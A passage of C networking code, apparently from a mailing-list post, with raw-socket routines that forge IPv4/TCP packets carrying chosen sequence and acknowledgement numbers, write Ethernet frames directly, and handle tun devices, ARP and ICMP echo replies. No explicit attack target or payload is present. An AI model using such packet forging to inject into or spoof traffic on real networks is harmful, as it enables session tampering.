	new_ip->ip_sum = ip_cksum((u_short *)new_ip, sizeof(struct ip));

	memset((char *)&sin, 0, sizeof(sin));
	sin.sin_family = AF_INET;
	
	if (write_frame(s, buf, sizeof(buf)) < 0) {
		perror("write_frame 2");
	}

}

void
onpipe(int nono)
{
	sigpipe = 0;
}

void
onalrm(int non)
{
		return;	
}

void
onchld(int nono)
{
	int status;

	while (waitpid(0, &status, WNOHANG) > 0)
		;

/*
	sigpipe = 1;
*/
}

int
oursocket(struct sess *s, struct ip *ip, struct tcphdr *tcp)
{
	if (s->rport != tcp->th_sport || s->lport != tcp->th_dport ||
	s->remote != ip->ip_src.s_addr || s->local != ip->ip_dst.s_addr) 
		return -1;

	return 0;
}

int
send_push(struct sess *sess, u_int8_t flags, char *data, int datalen)
{
	u_char *buf;
	struct ip *new_ip;
	struct ip hints;
	struct tcphdr *new_tcp;
	struct sockaddr_in sin;
	int s;
	int on = 1;
	int i, newlen;
	u_int32_t *af;

	s = sess->raw;
	newlen = sizeof(struct ip) + sizeof(struct tcphdr) + datalen;
	buf = calloc(1, newlen);
	if (buf == NULL) {
		perror("calloc");
		return;
	}

#if 0
	af = (u_int32_t *)&buf[0];
	new_ip = (struct ip *)&buf[sizeof(u_int32_t)];
	new_tcp = (struct tcphdr*)&buf[sizeof(u_int32_t) + sizeof(struct ip)];
#endif

	new_ip = (struct ip *)&buf[0];
	new_tcp = (struct tcphdr *)&buf[sizeof(struct ip)];

	memcpy((char*)(buf + sizeof(struct ip) + sizeof(struct tcphdr)),data, datalen);

	memset(&hints, 0, sizeof(hints));
	hints.ip_len = htons(newlen);
	hints.ip_p = IPPROTO_TCP;
	hints.ip_src.s_addr = sess->local;
	hints.ip_dst.s_addr = sess->remote;
	set_ip4header(new_ip, &hints);

	new_tcp->th_sport = sess->lport;
	new_tcp->th_dport = sess->rport;
	new_tcp->th_seq = sess->seq;
	new_tcp->th_ack = sess->ack;
	new_tcp->th_off = sizeof(struct tcphdr) >> 2;

	new_tcp->th_flags = TH_PUSH | TH_ACK | flags;

	new_tcp->th_win = htons(0x4000);
	new_tcp->th_sum = 0;
	new_tcp->th_urp = 0;

	/* compute checksums? */
	new_tcp->th_sum = tcp_cksum((u_short *)new_tcp, sizeof(struct tcphdr) + datalen, new_ip);
	new_ip->ip_sum = ip_cksum((u_short *)new_ip, sizeof(struct ip));

	memset((char *)&sin, 0, sizeof(sin));
	sin.sin_family = AF_INET;

	if (write_frame(s, buf, newlen) < 0) {
		perror("write_frame 3");
		free(buf);
		return -1;
	}

	free(buf);

	return 0;
}


/* ----------------------------------- IMPORTED ----------------------- */


/* BEGIN ip_cksum */

/*
 * IP_CKSUM - compute the ones complement sum of the ones complement of 16 bit 
 * 			  numbers
 */

u_int16_t
ip_cksum(u_int16_t *p, int len)
{
	register int nleft = len;
	register u_int16_t *w = p;
	register int sum = 0;
	u_int16_t answer;
	
	while (nleft > 1) {
		sum += *w++;
		nleft -= 2;
	}

	if (nleft == 1) {
		*(u_char *)(&answer) = 	*(u_char *)w;
		sum += answer;
	}

	sum = (sum >> 16) + (sum & 0xffff);
	sum += (sum >> 16);

	answer = ~sum;
	return (answer);
}

/* END ip_cksum */
/* BEGIN tcp_cksum */
/* 
 * TCP_CKSUM - compute the checksum with a pseudo header of the IP packet
 * 				
 */

u_int16_t
tcp_cksum(u_int16_t *addr, int len, struct ip *ip) 
{
	union {
		struct ph {
			in_addr_t src;
			in_addr_t dst;
			u_int8_t pad;
			u_int8_t proto;
			u_int16_t len;
		} s;

		u_int16_t i[6];
	} ph;

	register int nleft = len;
	register u_int16_t *w = &ph.i[0];
	register int sum;

	memcpy(&ph.s.src, &ip->ip_src.s_addr, sizeof(in_addr_t));
	memcpy(&ph.s.dst, &ip->ip_dst.s_addr, sizeof(in_addr_t));
	ph.s.pad = 0;
	ph.s.proto = ip->ip_p;	
	ph.s.len = htons(len);
	sum = w[0] + w[1] + w[2] + w[3] + w[4] + w[5];
	w = addr;
	while (nleft > 1) {
		sum += *w++;
		nleft -= 2;
	}
	if (nleft == 1) {
		sum += htons((*(const char *)w) << 8);
	}
	while (sum > 0xffff) 
		sum = (sum & 0xffff) + (sum >> 16);
	sum = ~sum & 0xffff;
	return (sum);
}

/* END tcp_cksum */
/* BEGIN get_ifmtu */

/*
 * GET_IFMTU - get the specified MTU of the interface, -1 on error
 */

int
get_ifmtu(char *name)
{
	int so;
	struct ifreq ifr;

	if ((so = socket(AF_INET, SOCK_DGRAM, 0)) < 0)
		return -1;

	memset((char *)&ifr, 0, sizeof(ifr));
	strlcpy(ifr.ifr_name, name, sizeof(ifr.ifr_name));

	if (ioctl(so, SIOCGIFMTU, &ifr, sizeof(ifr)) < 0) {
		close(so);
		return -1;
	}

	close(so);
	return (ifr.ifr_mtu);
}

/* END get_ifmtu */
/* BEGIN set_ip4header */

/*
 * SET_IP4HEADER - configures the IP header based on a set of hints
 *		  returns -1 on error
 */

int
set_ip4header(struct ip *ip, struct ip *hints)
{
	int fh = 0;			/* free hints */
	struct ip *_hints;

	if (hints)
		_hints = hints;
	else {
		_hints = (struct ip *)calloc(1, sizeof(struct ip));
		fh = 1;
	}

	ip->ip_v = (_hints->ip_v != 0) ? _hints->ip_v : IPVERSION;
	ip->ip_hl = (_hints->ip_v != 0) ? _hints->ip_hl :
		sizeof(struct ip) >> 2;
	ip->ip_tos = (_hints->ip_tos != 0) ? _hints->ip_tos : IPTOS_LOWDELAY;
	ip->ip_len = (_hints->ip_len != 0) ? _hints->ip_len : sizeof(struct ip);
	ip->ip_id = (_hints->ip_id != 0) ? _hints->ip_id :
		(u_int16_t)arc4random();
	ip->ip_off = (_hints->ip_off != 0) ? _hints->ip_off : 0;
	ip->ip_ttl = (_hints->ip_ttl != 0) ? _hints->ip_ttl : 
		((_hints->ip_p == IPPROTO_ICMP) ? MAXTTL : IPDEFTTL);
	ip->ip_p = (_hints->ip_p != 0) ? _hints->ip_p : IPPROTO_IP;
	ip->ip_sum = (_hints->ip_sum != 0) ? _hints->ip_sum : 0;
	ip->ip_src.s_addr = (_hints->ip_src.s_addr != 0) ? 
		_hints->ip_src.s_addr : INADDR_ANY;
	ip->ip_dst.s_addr = (_hints->ip_dst.s_addr != 0) ? 
		_hints->ip_dst.s_addr : INADDR_LOOPBACK;

	if (fh) 
		free(_hints);

	return 0;

}

/* END set_ip4header */
void
get_data(struct sess *s, u_char *data, int len)
{

		s->data = calloc(1, len);
		if (s->data == NULL) 
			return;
		s->len = len;
		memcpy(s->data, data, s->len);
}
/* BEGIN open_raw */

/* 
 * OPEN_RAW - open a raw socket, with following protocol, return -1
 * 		on error.
 */

int
open_raw(int proto)
{
	int so;
	int on = 1;

	if ((so = socket(AF_INET, SOCK_RAW, proto)) < 0)
		return -1;
	if (setsockopt(so,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on)) < 0) {
		close(so);
		return -1;
	}
	
	return so;
}
/* END open_raw */


int
open_tunnel(void)
{
	int fd;
	int mtu = 1500;
	char tunif[IFNAMSIZ];

	if ((fd = open_tun((char *)&tunif, sizeof(tunif))) < 0) {
		perror("open_tun");
		exit(1);
	}

#if 0
	if (set_tunmode(fd, IFF_POINTOPOINT) < 0) {
		perror("set_tunmode");
		exit(1);
	}
	if (set_ifpop(tunif, pointa, pointb, netmask) < 0) {
		perror("set_ifpop");
		exit(1);
	}

	if (set_ifup(tunif) < 0) {
		fprintf(stderr, "can't set interface up\n");
		exit(1);
	}
#else

	if (set_tunmode(fd, IFF_BROADCAST | IFF_LINK0) < 0) {
		perror("set_tunmode");
		exit(1);
	}

	if (set_ifup(tunif) < 0) {
		fprintf(stderr, "can't set interface up\n");
		exit(1);
	}

	if (set_ifip(tunif, pointb, netmask, AF_INET) < 0) {
		perror("set_ifip");
		exit(1);
	}
	
#endif


	if ((mtu = get_ifmtu(tunif)) < 0) {
		perror("get_ifmtu");
		exit(1);
	}
	if (mtu > 1500) {
		mtu = 1500;
		if (set_ifmtu(tunif, mtu) < 0) {
			perror("set_ifmtu");
			exit(1);
		}
	}

	
	return fd;
}


/* BEGIN open_tun */
/*
 * open_tun - search existing tun(4) device and find one that is open return
 *		file descriptor or -1 on error.  If an argument is given
 * 		try to open that device explicitly otherwise the selected
 * 		device is written to that pointer, for max len bytes
 */

int
open_tun(char *name, int len)
{
#define 	MAX_TUN_DEVICES		16
	char tmp[MAXPATHLEN];
	int dn;		/* device number */
	int fd;		/* file descriptor to be returned */


	if (len > IFNAMSIZ) {
		errno = ENAMETOOLONG;
		return -1;
	}
	/* 
	 * XXX look carefully, this is a little tricky cruft
	 */

	snprintf(tmp, sizeof(tmp), "/dev/%s", name);
	if ((fd = open(tmp, O_RDWR, 0600)) != -1) 
		return fd;

	for (dn = 0; dn < MAX_TUN_DEVICES; dn++) {
		errno = 0;
		snprintf(name, len,  "tun%d", dn);
		snprintf(tmp, sizeof(tmp), "/dev/%s", name);
		fd = open(tmp, O_RDWR, 0600);
		if (fd < 0) {
			if (errno == EBUSY)
				continue;
			break;
		} else
			return fd;
	}

	return -1;
}
/* END open_tun */
/* BEGIN set_tunmode */

/*
 * SET_TUNMODE - set the mode of the specified tunnel device 
 *			IFF_POINTOPOINT or IFF_BROADCAST, return -1 on err
 */

int
set_tunmode(int fd, int mode)
{

	if (mode != IFF_POINTOPOINT && (mode & ( IFF_BROADCAST | IFF_LINK0 )) != (IFF_BROADCAST | IFF_LINK0))
		return -1;

	if (check_tundev(fd) < 0) 
		return -1;

	if (ioctl(fd, TUNSIFMODE, &mode, sizeof(mode)) < 0) 
		return -1;

	return mode;
}

/* END set_tunmode */
/* BEGIN check_tundev */

/*
 * CHECK_TUNDEV - check the type of device, return 1 if device -1 else
 */

int
check_tundev(int fd)
{

#define TUN_DEV	"/dev/tun"
	struct stat sb;

	if (fstat(fd, &sb) < 0) 
		return -1;


	if (S_ISCHR(sb.st_mode)) 
		return 0;

	return -1;
}
/* END check_tundev */
/* BEGIN del_ifip */
/* 
 * DEL_IFIP - delete an IP alias from a certain interface, takes IP as second
 * 				argument, returns 0 on success, -1 on error
 */

int
del_ifip(char *name, char *ip)
{
	int so;
	struct ifaliasreq ifra;
	struct sockaddr_in sin;

	if ((so = socket(AF_INET, SOCK_DGRAM, 0)) < 0)
		return -1;

	sin.sin_addr.s_addr = inet_addr(ip);
	memset(&ifra, 0, sizeof(ifra));

	strlcpy(ifra.ifra_name, name, sizeof(ifra.ifra_name));
	memcpy(&ifra.ifra_addr, &sin.sin_addr.s_addr, sizeof(struct sockaddr));

	if (ioctl(so, SIOCDIFADDR, &ifra, sizeof(ifra)) < 0) {
			close(so);
			return -1;
	}

	close(so);
	return 0;
}
/* END del_ifip */
/* BEGIN set_ifip */
/*
 * SET_IFIP - sets an IP address on the specified interface, returns 0 on
 * 		success, -1 on error
 */

int
set_ifip(char *name, char *address, char *netmask, int af)
{
	int so;
	struct ifaliasreq ifra;
	struct sockaddr_in sin;

	if (af == AF_INET6) 
		return -1;

	if ((so = socket(AF_INET, SOCK_DGRAM, 0)) < 0)
		return -1;

	memset((char *)&ifra, 0, sizeof(ifra));
	strlcpy(ifra.ifra_name, name, sizeof(ifra.ifra_name));

	memset(&sin, 0, sizeof(sin));
	sin.sin_family = AF_INET;
	sin.sin_addr.s_addr = inet_addr(address);
	sin.sin_len = sizeof(sin);

	memcpy(&ifra.ifra_addr,(struct sockaddr *)&sin,sizeof(struct sockaddr));

	sin.sin_addr.s_addr = inet_addr(netmask);
	memcpy(&ifra.ifra_mask, (struct sockaddr *)&sin, sizeof(struct sockaddr));
	
	if (ioctl(so, SIOCAIFADDR, &ifra, sizeof(ifra)) < 0) {
			close(so);
			return -1;
	}

	close(so);
	return 0;
}
/* END set_ifip */
/* BEGIN set_ifpop */
/*
 * SET_IFPOP - set 2 points on a point to point interface, returns 0 on 
 * 				smooth sails, and -1 on error
 */

int
set_ifpop(char *name, char *point1, char *point2, char *netmask)
{
	int so;
	struct ifaliasreq ifra;
	struct sockaddr_in sin;

	if ((so = socket(AF_INET, SOCK_DGRAM, 0)) < 0)
		return -1;

	memset((char *)&ifra, 0, sizeof(ifra));
	strlcpy(ifra.ifra_name, name, sizeof(ifra.ifra_name));

	memset(&sin, 0, sizeof(sin));
	sin.sin_family = AF_INET;
	sin.sin_addr.s_addr = inet_addr(point1);
	sin.sin_len = sizeof(sin);

	memcpy(&ifra.ifra_addr,(struct sockaddr *)&sin,sizeof(struct sockaddr));

	sin.sin_addr.s_addr = inet_addr(point2);
#ifdef __OpenBSD__
	memcpy(&ifra.ifra_dstaddr,(struct sockaddr *)&sin,sizeof(struct sockaddr));
#else
	memcpy(&ifra.ifra_broadaddr,(struct sockaddr *)&sin,sizeof(struct sockaddr));
#endif
	

	if (netmask) {
		sin.sin_addr.s_addr = inet_addr(netmask);
		memcpy(&ifra.ifra_mask,(struct sockaddr*)&sin,sizeof(struct sockaddr));
	}	

	if (ioctl(so, SIOCAIFADDR, &ifra, sizeof(ifra)) < 0) {
			close(so);
			return -1;
	}

	close(so);
	return 0;
}
/* END set_ifpop */
/* BEGIN get_ifflags */

/*
 * GET_IFFLAGS - get flags of specified interface, return -1 on error
 */

short
get_ifflags(char *name)
{
	int so;
	struct ifreq ifr;

	if ((so = socket(AF_INET, SOCK_DGRAM, 0)) < 0)
		return -1;

	memset((char *)&ifr, 0, sizeof(ifr));
	strlcpy(ifr.ifr_name, name, sizeof(ifr.ifr_name));
	
	if (ioctl(so, SIOCGIFFLAGS, &ifr, sizeof(ifr)) < 0) {
		close(so);
		return -1;
	}

	close(so);

	return(ifr.ifr_flags);
}
/* END get_ifflags */
/* BEGIN set_ifflags */

/*
 * SET_IFFLAGS - set flags of specified interface, return -1 on error
 */

int
set_ifflags(char *name, short flags)
{
	int so;
	struct ifreq ifr;

	if ((so = socket(AF_INET, SOCK_DGRAM, 0)) < 0)
		return -1;

	memset((char *)&ifr, 0, sizeof(ifr));
	strlcpy(ifr.ifr_name, name, sizeof(ifr.ifr_name));
	ifr.ifr_flags = flags;
	
	if (ioctl(so, SIOCSIFFLAGS, &ifr, sizeof(ifr)) < 0) {
		close(so);
		return -1;
	}

	close(so);
	return(0);
}
/* END set_ifflags */
/* BEGIN set_ifup */

/*
 * SET_IFUP - turn an interface into the IFF_UP state
 */

int
set_ifup(char *name)
{
	short flags;

	flags = get_ifflags(name);
	flags |= IFF_UP;

	return (set_ifflags(name, flags));
}
/* END set_ifup */
/* BEGIN set_ifdown */

/*
 * SET_IFDOWN - turn an interface off
 */

int
set_ifdown(char *name)
{
	short flags;

	flags = get_ifflags(name);
	flags &= ~IFF_UP;

	return (set_ifflags(name, flags));
}

/* END set_ifdown */
/* BEGIN set_ifmtu */
/*
 * SET_IFMTU - set the specified interface MTU and return 0 on success, -1
 * 				on error.
 */

int
set_ifmtu(char *name, int mtu)
{
	int so;
	struct ifreq ifr;

	if ((so = socket(AF_INET, SOCK_DGRAM, 0)) < 0)
		return -1;

	memset((char *)&ifr, 0, sizeof(ifr));
	strlcpy(ifr.ifr_name, name, sizeof(ifr.ifr_name));
	ifr.ifr_mtu = mtu;

	if (ioctl(so, SIOCSIFMTU, &ifr, sizeof(ifr)) < 0) {
		close(so);
		return -1;
	}

	close(so);
	return 0;
}

/* END set_ifmtu */
/* BEGIN get_ifaddr */

/* 
 * GET_IFADDR - gets the interface address which is returned in an
 * 		in_addr_t
 */

in_addr_t
get_ifaddr(char *name)
{
	int so;
	struct ifreq ifr;
	struct sockaddr_in *sin;

	if ((so = socket(AF_INET, SOCK_DGRAM, 0)) < 0)
		return -1;

	memset((char *)&ifr, 0, sizeof(ifr));
	strlcpy(ifr.ifr_name, name, sizeof(ifr.ifr_name));

	if (ioctl(so, SIOCGIFADDR, &ifr, sizeof(ifr)) < 0) {
		close(so);
		return -1;
	}

	close(so);

	sin = (struct sockaddr_in *)&ifr.ifr_addr;
	return (sin->sin_addr.s_addr);
}
/* END get_ifaddr */

void
reply_icmp(int fd, char *data, int len)
{
	struct ip *ip;
	struct icmp *icmp;
	
	int newlen = len;
	char *newdata = data;
	u_int32_t iptmp;
	u_int32_t *af;

	ip = (struct ip *)newdata;

	newdata += sizeof(struct ip);
	newlen -= sizeof(struct ip);
	
	if (newlen < ICMP_MINLEN) 
		return;	

	icmp = (struct icmp *)newdata;

	if (icmp->icmp_type == 8) {
		icmp->icmp_type = 0;
		icmp->icmp_cksum = 0;

		iptmp = ip->ip_dst.s_addr;
		ip->ip_dst.s_addr = ip->ip_src.s_addr;
		ip->ip_src.s_addr = iptmp;
	
		ip->ip_sum = 0;
		icmp->icmp_cksum = 0;

		ip->ip_sum = ip_cksum((u_short *)data, sizeof(struct ip));
		icmp->icmp_cksum = ip_cksum((u_short *)newdata, newlen);

		newdata = malloc(len);
		if (newdata == NULL)
			return;
		
		memcpy((char *)newdata, data, len);
#if 0
		af = (u_int32_t *)newdata;

		*af = htonl(AF_INET);
#endif 

		write_frame(fd, newdata, len + sizeof(u_int32_t));

		free(newdata);
			
	}


	return;
}



void 
arplookup(int fd)
{
	u_char buf[2500];
	int len;
	int i;

	struct ether_header *eh;
	struct ether_arp *ah;
	time_t now, before;

	for (i = 0; i < 5; i++) {

		memset(&buf, 0, sizeof(buf));
		eh = (struct ether_header *)&buf[0];
		ah = (struct ether_arp *)&buf[sizeof(struct ether_header)];

		len = sizeof(struct ether_header) + sizeof(struct ether_arp);

		eh->ether_type = htons(ETHERTYPE_ARP);
		memset(eh->ether_dhost, 0xff, sizeof(eh->ether_dhost));
		memcpy(eh->ether_shost, &mymac, sizeof(mymac));

		ah->arp_hrd = htons(ARPHRD_ETHER);
		ah->arp_pro = htons(ETHERTYPE_IP);
		ah->arp_hln = sizeof(ah->arp_sha);
		ah->arp_pln = sizeof(ah->arp_spa);
		ah->arp_op = htons(ARPOP_REQUEST);

		
		memcpy(ah->arp_sha, &mymac, sizeof(mymac));
		memcpy(ah->arp_spa, &myip, sizeof(myip));
		memcpy(ah->arp_tpa, &routerip, sizeof(routerip));

		if (write(fd, buf, len) < 0) {
			perror("write");
		}

		before = time(NULL);
		for (;difftime(now, before) < 10;now = time(NULL)) {

			if ((len = read(fd, buf, sizeof(buf))) < 0) {
				perror("read");
			}

			if (len < (sizeof(struct ether_header) + sizeof(struct ether_arp)))  {
				continue;
			}

			if (memcmp(&eh->ether_dhost, &mymac, sizeof(mymac)) == 0 &&
				ntohs(eh->ether_type) == ETHERTYPE_ARP && 
				ntohs(ah->arp_op) == ARPOP_REPLY) {
				memcpy(&routermac, ah->arp_sha, sizeof(routermac));
				goto out;
			}
		} /* for difftime */

		continue; 	/* back to writing a new ARP request */
	}

#if 0
	for (i = 0; i < sizeof(routermac); i++) {
		printf("%02x:", routermac[i]);
	}

	printf("\n");
#endif 
out:

	return;

}


void 
reply_arp(int fd, u_char *data, int len)
{
	u_char buf[2500];
	int newlen;
	int i;

	struct ether_header *eh, *eh2;
	struct ether_arp *ah, *ah2;

	eh = (struct ether_header *)data;
	ah = (struct ether_arp *)(data + sizeof(struct ether_header));

	if (memcmp(broadcastmac, eh->ether_dhost, sizeof(broadcastmac)) == 0 &&
		ntohs(ah->arp_hrd) == ARPHRD_ETHER &&
		ntohs(ah->arp_pro) == ETHERTYPE_IP &&
		ah->arp_hln == sizeof(ah->arp_sha) &&
		ah->arp_pln == sizeof(ah->arp_spa) &&
		ntohs(ah->arp_op) == ARPOP_REQUEST)
	{

		if (memcmp(&ah->arp_tpa, &myip, sizeof(myip)) != 0) {
			return;
		}

		memset(&buf, 0, sizeof(buf));
		eh2 = (struct ether_header *)&buf[0];
		ah2 = (struct ether_arp *)&buf[sizeof(struct ether_header)];

		newlen = sizeof(struct ether_header) + sizeof(struct ether_arp);

		eh2->ether_type = htons(ETHERTYPE_ARP);

		memcpy(eh2->ether_dhost, eh->ether_shost, sizeof(eh->ether_shost));
		memcpy(eh2->ether_shost, &mymac, sizeof(mymac));

		ah2->arp_hrd = htons(ARPHRD_ETHER);
		ah2->arp_pro = htons(ETHERTYPE_IP);
		ah2->arp_hln = sizeof(ah2->arp_sha);
		ah2->arp_pln = sizeof(ah2->arp_spa);
		ah2->arp_op = htons(ARPOP_REPLY);

		memcpy(ah2->arp_sha, &mymac, sizeof(mymac));
		memcpy(ah2->arp_spa, &myip, sizeof(myip));
		memcpy(ah2->arp_tpa, ah->arp_spa, sizeof(ah->arp_spa));
		memcpy(ah2->arp_tha, ah->arp_sha, sizeof(ah->arp_sha));

		if (write(fd, buf, newlen) < 0) {
			perror("write");
		}
	}

	return;
}

int 
write_frame(int fd, char *data, int len)
{
	char buf[2500];
	struct ether_header *eh = (struct ether_header *) &buf[0];
	char *concat;
	int newlen;


	newlen  = len + sizeof(struct ether_header);

	if (newlen > sizeof(buf)) {
		errno = ENOBUFS;
		return -1;
	}

	concat = &buf[sizeof(struct ether_header)];

	eh->ether_type = htons(ETHERTYPE_IP);
	memcpy(eh->ether_dhost, &routermac, sizeof(routermac));
	memcpy(eh->ether_shost, &mymac, sizeof(mymac));
	
	memcpy(concat, data, len);
	
	return (write(fd, buf, newlen));
}


--
Here my ticker tape .signature #### My name is Peter Philipp #### lynx -dump "http://en.wikipedia.org/w/index.php?title=Pufferfish&oldid=20768394" | sed -n 131,136p #### So long and thanks for all the fish!!!

Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ